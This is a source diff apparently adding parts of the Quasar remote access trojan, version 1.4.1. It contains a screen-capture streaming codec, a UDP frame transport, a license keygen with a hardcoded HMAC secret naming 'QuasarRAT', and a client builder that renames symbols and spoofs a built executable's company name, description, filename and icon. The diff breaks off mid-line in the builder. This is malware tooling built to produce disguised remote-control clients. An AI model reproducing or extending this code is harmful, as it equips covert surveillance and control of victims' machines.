+[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Quasar.Common.Tests")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("c7c363ba-e5b6-4e18-9224-39bc8da73172")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar-1.4.1/Quasar.Common/Quasar.Common.csproj b/Quasar-1.4.1/Quasar.Common/Quasar.Common.csproj new file mode 100755 index 0000000..0bc8f15 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Quasar.Common.csproj @@ -0,0 +1,31 @@ + + + net452 + Library + false + + + ..\bin\Debug\ + true + + + + none + ..\bin\Release\ + true + + + + + + + + 2.4.8 + + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Common/Utilities/ByteConverter.cs b/Quasar-1.4.1/Quasar.Common/Utilities/ByteConverter.cs new file mode 100755 index 0000000..9d61baf --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Utilities/ByteConverter.cs @@ -0,0 +1,135 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Quasar.Common.Utilities +{ + public class ByteConverter + { + private static byte NULL_BYTE = byte.MinValue; + + public static byte[] GetBytes(int value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(long value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(uint value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(ulong value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(string value) + { + return StringToBytes(value); + } + + public static byte[] GetBytes(string[] value) + { + return StringArrayToBytes(value); + } + + public static int ToInt32(byte[] bytes) + { + return BitConverter.ToInt32(bytes, 0); + } + + public static long ToInt64(byte[] bytes) + { + return BitConverter.ToInt64(bytes, 0); + } + + public static uint ToUInt32(byte[] bytes) + { + return BitConverter.ToUInt32(bytes, 0); + } + + public static ulong ToUInt64(byte[] bytes) + { + return BitConverter.ToUInt64(bytes, 0); + } + + public static string ToString(byte[] bytes) + { + return BytesToString(bytes); + } + + public static string[] ToStringArray(byte[] bytes) + { + return BytesToStringArray(bytes); + } + + private static byte[] GetNullBytes() + { + //Null bytes: 00 00 + return new byte[] { NULL_BYTE, NULL_BYTE }; + } + + private static byte[] StringToBytes(string value) + { + byte[] bytes = new byte[value.Length * sizeof(char)]; + Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length); + return bytes; + } + + private static byte[] StringArrayToBytes(string[] strings) + { + List bytes = new List(); + + foreach(string str in strings) + { + bytes.AddRange(StringToBytes(str)); + bytes.AddRange(GetNullBytes()); + } + + return bytes.ToArray(); + } + + private static string BytesToString(byte[] bytes) + { + int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char)); + char[] chars = new char[nrChars]; + Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length); + return new string(chars); + } + + private static string[] BytesToStringArray(byte[] bytes) + { + List strings = new List(); + + int i = 0; + StringBuilder strBuilder = new StringBuilder(bytes.Length); + while (i < bytes.Length) + { + //Holds the number of nulls (3 nulls indicated end of a string) + int nullcount = 0; + while (i < bytes.Length && nullcount < 3) + { + if (bytes[i] == NULL_BYTE) + { + nullcount++; + } + else + { + strBuilder.Append(Convert.ToChar(bytes[i])); + nullcount = 0; + } + i++; + } + strings.Add(strBuilder.ToString()); + strBuilder.Clear(); + } + + return strings.ToArray(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Utilities/SafeRandom.cs b/Quasar-1.4.1/Quasar.Common/Utilities/SafeRandom.cs new file mode 100755 index 0000000..4e9dc1b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Utilities/SafeRandom.cs @@ -0,0 +1,54 @@ +using System; +using System.Security.Cryptography; + +namespace Quasar.Common.Utilities +{ + /// + /// Thread-safe random number generator. + /// Has same API as System.Random but is thread safe, similar to the implementation by Steven Toub: http://blogs.msdn.com/b/pfxteam/archive/2014/10/20/9434171.aspx + /// + public class SafeRandom + { + private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); + + [ThreadStatic] + private static Random _random; + + private static Random GetRandom() + { + if (_random == null) + { + byte[] buffer = new byte[4]; + GlobalCryptoProvider.GetBytes(buffer); + _random = new Random(BitConverter.ToInt32(buffer, 0)); + } + + return _random; + } + + public int Next() + { + return GetRandom().Next(); + } + + public int Next(int maxValue) + { + return GetRandom().Next(maxValue); + } + + public int Next(int minValue, int maxValue) + { + return GetRandom().Next(minValue, maxValue); + } + + public void NextBytes(byte[] buffer) + { + GetRandom().NextBytes(buffer); + } + + public double NextDouble() + { + return GetRandom().NextDouble(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs b/Quasar-1.4.1/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs new file mode 100755 index 0000000..24511b9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs @@ -0,0 +1,380 @@ +using Quasar.Common.Video.Compression; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Quasar.Common.Video.Codecs +{ + public class UnsafeStreamCodec : IDisposable + { + public int Monitor { get; private set; } + public Resolution Resolution { get; private set; } + public Size CheckBlock { get; private set; } + public int ImageQuality + { + get { return _imageQuality; } + private set + { + lock (_imageProcessLock) + { + _imageQuality = value; + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + + _jpgCompression = new JpgCompression(_imageQuality); + } + } + } + + private int _imageQuality; + private byte[] _encodeBuffer; + private Bitmap _decodedBitmap; + private PixelFormat _encodedFormat; + private int _encodedWidth; + private int _encodedHeight; + private readonly object _imageProcessLock = new object(); + private JpgCompression _jpgCompression; + + /// + /// Initialize a new instance of UnsafeStreamCodec class. + /// + /// The quality to use between 0-100. + /// The monitor used for the images. + /// The resolution of the monitor. + public UnsafeStreamCodec(int imageQuality, int monitor, Resolution resolution) + { + this.ImageQuality = imageQuality; + this.Monitor = monitor; + this.Resolution = resolution; + this.CheckBlock = new Size(50, 1); + } + + public void Dispose() + { + Dispose(true); + + // Tell the Garbage Collector to not waste time finalizing this object + // since we took care of it. + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + if (_decodedBitmap != null) + { + _decodedBitmap.Dispose(); + } + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + } + } + + public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, + Stream outStream) + { + lock (_imageProcessLock) + { + byte* pScan0; + if (IntPtr.Size == 8) + { + // 64 bit process + pScan0 = (byte*) scan0.ToInt64(); + } + else + { + // 32 bit process + pScan0 = (byte*)scan0.ToInt32(); + } + + if (!outStream.CanWrite) + { + throw new Exception("Must have access to Write in the Stream"); + } + + int stride = 0; + int rawLength = 0; + int pixelSize = 0; + + switch (format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + pixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + pixelSize = 4; + break; + default: + throw new NotSupportedException(format.ToString()); + } + + stride = imageSize.Width * pixelSize; + rawLength = stride * imageSize.Height; + + if (_encodeBuffer == null) + { + this._encodedFormat = format; + this._encodedWidth = imageSize.Width; + this._encodedHeight = imageSize.Height; + this._encodeBuffer = new byte[rawLength]; + + fixed (byte* ptr = _encodeBuffer) + { + byte[] temp = null; + using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0)) + { + temp = _jpgCompression.Compress(tmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength); + } + return; + } + + if (this._encodedFormat != format) + { + throw new Exception("PixelFormat is not equal to previous Bitmap"); + } + else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height) + { + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + long totalDataLength = 0; + + List blocks = new List(); + + Size s = new Size(scanArea.Width, CheckBlock.Height); + Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height); + + int lasty = scanArea.Height - lastSize.Height; + int lastx = scanArea.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + List finalUpdates = new List(); + + s = new Size(scanArea.Width, s.Height); + + fixed (byte* encBuffer = _encodeBuffer) + { + var index = 0; + + for (int y = scanArea.Y; y != scanArea.Height; y += s.Height) + { + if (y == lasty) + { + s = new Size(scanArea.Width, lastSize.Height); + } + + cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height); + + int offset = (y * stride) + (scanArea.X * pixelSize); + + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0) + { + index = blocks.Count - 1; + + if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width, + blocks[index].Height + cBlock.Height); + blocks[index] = cBlock; + } + else + { + blocks.Add(cBlock); + } + } + } + + for (int i = 0; i < blocks.Count; i++) + { + s = new Size(CheckBlock.Width, blocks[i].Height); + + for (int x = scanArea.X; x != scanArea.Width; x += s.Width) + { + if (x == lastx) + { + s = new Size(lastSize.Width, blocks[i].Height); + } + + cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height); + bool foundChanges = false; + uint blockStride = (uint)(pixelSize * cBlock.Width); + + for (int j = 0; j < cBlock.Height; j++) + { + int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X); + + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0) + { + foundChanges = true; + } + + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride); + //copy-changes + } + + if (foundChanges) + { + index = finalUpdates.Count - 1; + + if (finalUpdates.Count > 0 && + (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + } + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = pixelSize * rect.Width; + + Bitmap tmpBmp = null; + BitmapData tmpData = null; + long length; + + try + { + tmpBmp = new Bitmap(rect.Width, rect.Height, format); + tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), + ImageLockMode.ReadWrite, tmpBmp.PixelFormat); + + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X); + NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); + //copy-changes + offset += blockStride; + } + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + length = outStream.Length; + long old = outStream.Position; + + _jpgCompression.Compress(tmpBmp, ref outStream); + + length = outStream.Position - length; + + outStream.Position = old - 4; + outStream.Write(BitConverter.GetBytes(length), 0, 4); + outStream.Position += length; + } + finally + { + tmpBmp.UnlockBits(tmpData); + tmpBmp.Dispose(); + } + + totalDataLength += length + (4 * 5); + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4); + } + } + + public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length) + { + if (length < 4) + { + return _decodedBitmap; + } + + int dataSize = *(int*)(codecBuffer); + + if (_decodedBitmap == null) + { + byte[] temp = new byte[dataSize]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize); + } + + this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + return _decodedBitmap; + } + else + { + return _decodedBitmap; + } + } + + public Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int dataSize = BitConverter.ToInt32(temp, 0); + + if (_decodedBitmap == null) + { + temp = new byte[dataSize]; + inStream.Read(temp, 0, temp.Length); + this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + return _decodedBitmap; + } + + using (Graphics g = Graphics.FromImage(_decodedBitmap)) + { + while (dataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int updateLen = BitConverter.ToInt32(tempData, 16); + + byte[] buffer = new byte[updateLen]; + inStream.Read(buffer, 0, buffer.Length); + + using (MemoryStream m = new MemoryStream(buffer)) + { + using (Bitmap tmp = (Bitmap)Image.FromStream(m)) + { + g.DrawImage(tmp, rect.Location); + } + } + + dataSize -= updateLen + (4 * 5); + } + } + + return _decodedBitmap; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Video/Compression/JpgCompression.cs b/Quasar-1.4.1/Quasar.Common/Video/Compression/JpgCompression.cs new file mode 100755 index 0000000..93de834 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Video/Compression/JpgCompression.cs @@ -0,0 +1,68 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Quasar.Common.Video.Compression +{ + public class JpgCompression : IDisposable + { + private readonly ImageCodecInfo _encoderInfo; + private readonly EncoderParameters _encoderParams; + + public JpgCompression(long quality) + { + EncoderParameter parameter = new EncoderParameter(Encoder.Quality, quality); + this._encoderInfo = GetEncoderInfo("image/jpeg"); + this._encoderParams = new EncoderParameters(2); + this._encoderParams.Param[0] = parameter; + this._encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long)EncoderValue.CompressionRle); + } + + public void Dispose() + { + Dispose(true); + + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + if (_encoderParams != null) + { + _encoderParams.Dispose(); + } + } + } + + public byte[] Compress(Bitmap bmp) + { + using (MemoryStream stream = new MemoryStream()) + { + bmp.Save(stream, _encoderInfo, _encoderParams); + return stream.ToArray(); + } + } + + public void Compress(Bitmap bmp, ref Stream targetStream) + { + bmp.Save(targetStream, _encoderInfo, _encoderParams); + } + + private ImageCodecInfo GetEncoderInfo(string mimeType) + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + int num2 = imageEncoders.Length - 1; + for (int i = 0; i <= num2; i++) + { + if (imageEncoders[i].MimeType == mimeType) + { + return imageEncoders[i]; + } + } + return null; + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Common/Video/Resolution.cs b/Quasar-1.4.1/Quasar.Common/Video/Resolution.cs new file mode 100755 index 0000000..f2b3949 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Video/Resolution.cs @@ -0,0 +1,50 @@ +using System; +using ProtoBuf; + +namespace Quasar.Common.Video +{ + [ProtoContract] + public class Resolution : IEquatable + { + [ProtoMember(1)] + public int Width { get; set; } + + [ProtoMember(2)] + public int Height { get; set; } + + public bool Equals(Resolution other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Width == other.Width && Height == other.Height; + } + + public static bool operator ==(Resolution r1, Resolution r2) + { + if (ReferenceEquals(r1, null)) + return ReferenceEquals(r2, null); + + return r1.Equals(r2); + } + + public static bool operator !=(Resolution r1, Resolution r2) + { + return !(r1 == r2); + } + + public override bool Equals(object obj) + { + return Equals(obj as Resolution); + } + + public override int GetHashCode() + { + return Width ^ Height; + } + + public override string ToString() + { + return $"{Width}x{Height}"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Video/UdpFrameProtocol.cs b/Quasar-1.4.1/Quasar.Common/Video/UdpFrameProtocol.cs new file mode 100755 index 0000000..e08a33c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Video/UdpFrameProtocol.cs @@ -0,0 +1,68 @@ +using System; +using System.IO; +using System.IO.Compression; + +namespace Quasar.Common.Video +{ + /// + /// Shared constants and helpers for the UDP frame transport. + /// + /// Packet layout (bytes): + /// [0..3] frameId (uint32, little-endian) + /// [4..5] chunkIndex (uint16, little-endian) + /// [6..7] totalChunks (uint16, little-endian) + /// [8..9] flags (uint16) bit0=isKeyFrame, bit1=isCompressed + /// [10..] payload + /// + public static class UdpFrameProtocol + { + public const int HeaderSize = 10; + public const int MaxPayloadSize = 1300; // safe under typical MTU of 1400 + public const int MaxPacketSize = HeaderSize + MaxPayloadSize; + + public const ushort FlagKeyFrame = 0x0001; + public const ushort FlagCompressed = 0x0002; + + public static byte[] BuildPacket(uint frameId, ushort chunkIndex, ushort totalChunks, ushort flags, byte[] payload, int offset, int length) + { + byte[] packet = new byte[HeaderSize + length]; + Buffer.BlockCopy(BitConverter.GetBytes(frameId), 0, packet, 0, 4); + Buffer.BlockCopy(BitConverter.GetBytes(chunkIndex), 0, packet, 4, 2); + Buffer.BlockCopy(BitConverter.GetBytes(totalChunks),0, packet, 6, 2); + Buffer.BlockCopy(BitConverter.GetBytes(flags), 0, packet, 8, 2); + Buffer.BlockCopy(payload, offset, packet, HeaderSize, length); + return packet; + } + + public static void ParseHeader(byte[] packet, out uint frameId, out ushort chunkIndex, out ushort totalChunks, out ushort flags) + { + frameId = BitConverter.ToUInt32(packet, 0); + chunkIndex = BitConverter.ToUInt16(packet, 4); + totalChunks = BitConverter.ToUInt16(packet, 6); + flags = BitConverter.ToUInt16(packet, 8); + } + + /// Compress bytes with DeflateStream. + public static byte[] Compress(byte[] data) + { + using (var ms = new MemoryStream()) + { + using (var ds = new DeflateStream(ms, CompressionMode.Compress, true)) + ds.Write(data, 0, data.Length); + return ms.ToArray(); + } + } + + /// Decompress bytes with DeflateStream. + public static byte[] Decompress(byte[] data) + { + using (var input = new MemoryStream(data)) + using (var ds = new DeflateStream(input, CompressionMode.Decompress)) + using (var output = new MemoryStream()) + { + ds.CopyTo(output); + return output.ToArray(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.Designer.cs b/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.Designer.cs new file mode 100755 index 0000000..2eb31ba --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.Designer.cs @@ -0,0 +1,121 @@ +namespace Quasar.Keygen +{ + partial class FrmKeygen + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblHardwareID = new System.Windows.Forms.Label(); + this.txtHardwareID = new System.Windows.Forms.TextBox(); + this.lblBIN = new System.Windows.Forms.Label(); + this.txtBIN = new System.Windows.Forms.TextBox(); + this.btnGenerate = new System.Windows.Forms.Button(); + this.btnCopy = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 14F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(70, 20); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(260, 25); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Quasar License Key Generator"; + // + // lblHardwareID + // + this.lblHardwareID.AutoSize = true; + this.lblHardwareID.Location = new System.Drawing.Point(30, 70); + this.lblHardwareID.Name = "lblHardwareID"; + this.lblHardwareID.Size = new System.Drawing.Size(78, 13); + this.lblHardwareID.TabIndex = 1; + this.lblHardwareID.Text = "Hardware ID:"; + // + // txtHardwareID + // + this.txtHardwareID.Location = new System.Drawing.Point(30, 90); + this.txtHardwareID.Name = "txtHardwareID"; + this.txtHardwareID.Size = new System.Drawing.Size(340, 22); + this.txtHardwareID.TabIndex = 2; + // + // lblBIN + // + this.lblBIN.AutoSize = true; + this.lblBIN.Location = new System.Drawing.Point(30, 130); + this.lblBIN.Name = "lblBIN"; + this.lblBIN.Size = new System.Drawing.Size(62, 13); + this.lblBIN.TabIndex = 3; + this.lblBIN.Text = "BIN Code:"; + // + // txtBIN + // + this.txtBIN.Location = new System.Drawing.Point(30, 150); + this.txtBIN.Name = "txtBIN"; + this.txtBIN.ReadOnly = true; + this.txtBIN.Size = new System.Drawing.Size(340, 22); + this.txtBIN.TabIndex = 4; + // + // btnGenerate + // + this.btnGenerate.Location = new System.Drawing.Point(80, 190); + this.btnGenerate.Name = "btnGenerate"; + this.btnGenerate.Size = new System.Drawing.Size(120, 35); + this.btnGenerate.TabIndex = 5; + this.btnGenerate.Text = "Generate BIN"; + this.btnGenerate.UseVisualStyleBackColor = true; + this.btnGenerate.Click += new System.EventHandler(this.btnGenerate_Click); + // + // btnCopy + // + this.btnCopy.Enabled = false; + this.btnCopy.Location = new System.Drawing.Point(210, 190); + this.btnCopy.Name = "btnCopy"; + this.btnCopy.Size = new System.Drawing.Size(120, 35); + this.btnCopy.TabIndex = 6; + this.btnCopy.Text = "Copy BIN"; + this.btnCopy.UseVisualStyleBackColor = true; + this.btnCopy.Click += new System.EventHandler(this.btnCopy_Click); + // + // FrmKeygen + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(400, 250); + this.Controls.Add(this.btnCopy); + this.Controls.Add(this.btnGenerate); + this.Controls.Add(this.txtBIN); + this.Controls.Add(this.lblBIN); + this.Controls.Add(this.txtHardwareID); + this.Controls.Add(this.lblHardwareID); + this.Controls.Add(this.lblTitle); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmKeygen"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Velane Keygen"; + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblHardwareID; + private System.Windows.Forms.TextBox txtHardwareID; + private System.Windows.Forms.Label lblBIN; + private System.Windows.Forms.TextBox txtBIN; + private System.Windows.Forms.Button btnGenerate; + private System.Windows.Forms.Button btnCopy; + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.cs b/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.cs new file mode 100755 index 0000000..2c158bd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/FrmKeygen.cs @@ -0,0 +1,45 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Keygen +{ + public partial class FrmKeygen : Form + { + public FrmKeygen() + { + InitializeComponent(); + } + + private void btnGenerate_Click(object sender, EventArgs e) + { + string hardwareID = txtHardwareID.Text.Trim(); + + if (string.IsNullOrEmpty(hardwareID)) + { + MessageBox.Show("Please enter a Hardware ID.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + try + { + string bin = LicenseGenerator.GenerateBIN(hardwareID); + txtBIN.Text = bin; + btnCopy.Enabled = true; + MessageBox.Show("BIN code generated successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show($"Error generating BIN: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnCopy_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(txtBIN.Text)) + { + Clipboard.SetText(txtBIN.Text); + MessageBox.Show("BIN code copied to clipboard!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/LicenseGenerator.cs b/Quasar-1.4.1/Quasar.Keygen/LicenseGenerator.cs new file mode 100755 index 0000000..bbc2d94 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/LicenseGenerator.cs @@ -0,0 +1,20 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Keygen +{ + public static class LicenseGenerator + { + private const string SECRET_KEY = "QuasarRAT_2024_SecretKey_DoNotShare"; + + public static string GenerateBIN(string hardwareID) + { + using (var hmac = new HMACSHA256(Encoding.UTF8.GetBytes(SECRET_KEY))) + { + byte[] hash = hmac.ComputeHash(Encoding.UTF8.GetBytes(hardwareID)); + return Convert.ToBase64String(hash).Substring(0, 20).Replace("+", "").Replace("/", "").Replace("=", ""); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/Program.cs b/Quasar-1.4.1/Quasar.Keygen/Program.cs new file mode 100755 index 0000000..fee247a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/Program.cs @@ -0,0 +1,16 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Keygen +{ + internal static class Program + { + [STAThread] + private static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new FrmKeygen()); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Keygen/Quasar.Keygen.csproj b/Quasar-1.4.1/Quasar.Keygen/Quasar.Keygen.csproj new file mode 100755 index 0000000..69bb0a3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Keygen/Quasar.Keygen.csproj @@ -0,0 +1,11 @@ + + + + WinExe + net461 + true + Keygen + 10.0 + + + diff --git a/Quasar-1.4.1/Quasar.Server/Build/ClientBuilder.cs b/Quasar-1.4.1/Quasar.Server/Build/ClientBuilder.cs new file mode 100755 index 0000000..822dd98 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Build/ClientBuilder.cs @@ -0,0 +1,225 @@ +using Mono.Cecil; +using Mono.Cecil.Cil; +using Quasar.Common.Cryptography; +using Quasar.Server.Models; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using Vestris.ResourceLib; + +namespace Quasar.Server.Build +{ + /// + /// Provides methods used to create a custom client executable. + /// + public class ClientBuilder + { + private readonly BuildOptions _options; + private readonly string _clientFilePath; + + public ClientBuilder(BuildOptions options, string clientFilePath) + { + _options = options; + _clientFilePath = clientFilePath; + } + + /// + /// Builds a client executable. + /// + public void Build() + { + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath)) + { + // PHASE 1 - Writing settings + WriteSettings(asmDef); + + // PHASE 2 - Renaming + Renamer r = new Renamer(asmDef); + + if (!r.Perform()) + throw new Exception("renaming failed"); + + // PHASE 3 - Saving + r.AsmDef.Write(_options.OutputPath); + } + + // PHASE 4 - Assembly Information changing + if (_options.AssemblyInformation != null) + { + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(_options.OutputPath); + + versionResource.FileVersion = _options.AssemblyInformation[7]; + versionResource.ProductVersion = _options.AssemblyInformation[6]; + versionResource.Language = 0; + + StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"]; + stringFileInfo["CompanyName"] = _options.AssemblyInformation[2]; + stringFileInfo["FileDescription"] = _options.AssemblyInformation[1]; + stringFileInfo["ProductName"] = _options.AssemblyInformation[0]; + stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3]; + stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4]; + stringFileInfo["ProductVersion"] = versionResource.ProductVersion; + stringFileInfo["FileVersion"] = versionResource.FileVersion; + stringFileInfo["Assembly Version"] = versionResource.ProductVersion; + stringFileInfo["InternalName"] = _options.AssemblyInformation[5]; + stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5]; + + versionResource.SaveTo(_options.OutputPath); + } + + // PHASE 5 - Icon changing + if (!string.IsNullOrEmpty(_options.IconPath)) + { + IconFile iconFile = new IconFile(_options.IconPath); + IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile); + iconDirectoryResource.SaveTo(_options.OutputPath); + } + } + + private void WriteSettings(AssemblyDefinition asmDef) + { + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); + var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! + + var key = serverCertificate.Thumbprint; + var aes = new Aes256(key); + + byte[] signature; + // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6 + using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); + signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); + } + + foreach (var typeDef in asmDef.Modules[0].Types) + { + if 